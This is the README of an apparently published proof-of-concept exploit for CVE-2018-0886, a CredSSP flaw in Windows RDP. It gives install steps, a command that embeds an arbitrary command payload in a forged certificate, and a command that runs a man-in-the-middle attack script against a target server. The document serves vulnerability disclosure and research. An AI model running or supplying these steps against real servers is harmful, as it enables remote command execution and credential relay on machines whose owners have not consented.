credssp

This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only. It relies on a fork of the rdpy project(https://github.com/preempt/rdpy), allowing also credssp relay.

Written by Eyal Karni, Preempt [email protected]

Build

Instructions (Linux)

If you are using Ubuntu 14 , check the install file.. It was tested on Ubuntu 16.04.

$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install

• It assumes a pretty clean inital state. Best to uninstall first relevant components such as cryptography, pyopenssl maybe (pip uninstall cryptography).
• A different version of openssl needed to be installed for this to run successfully. The install script does that.
• Please follow the instructions in the described order.

Running the exploit

Export a certificate suitable for Server Authentication from any domain. (It is used for RDP https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn781533(v=ws.11))

To generate a certificate that exploits the vulnerability(contains the payload),use:

$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 

(ExportedCert is the exported certificate from step 1. exploitc.pem ,exploitk.pem are the generated certificate and private key respectively)

To run the attack script:

$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer

More details are in the usage section of the scripts(--help).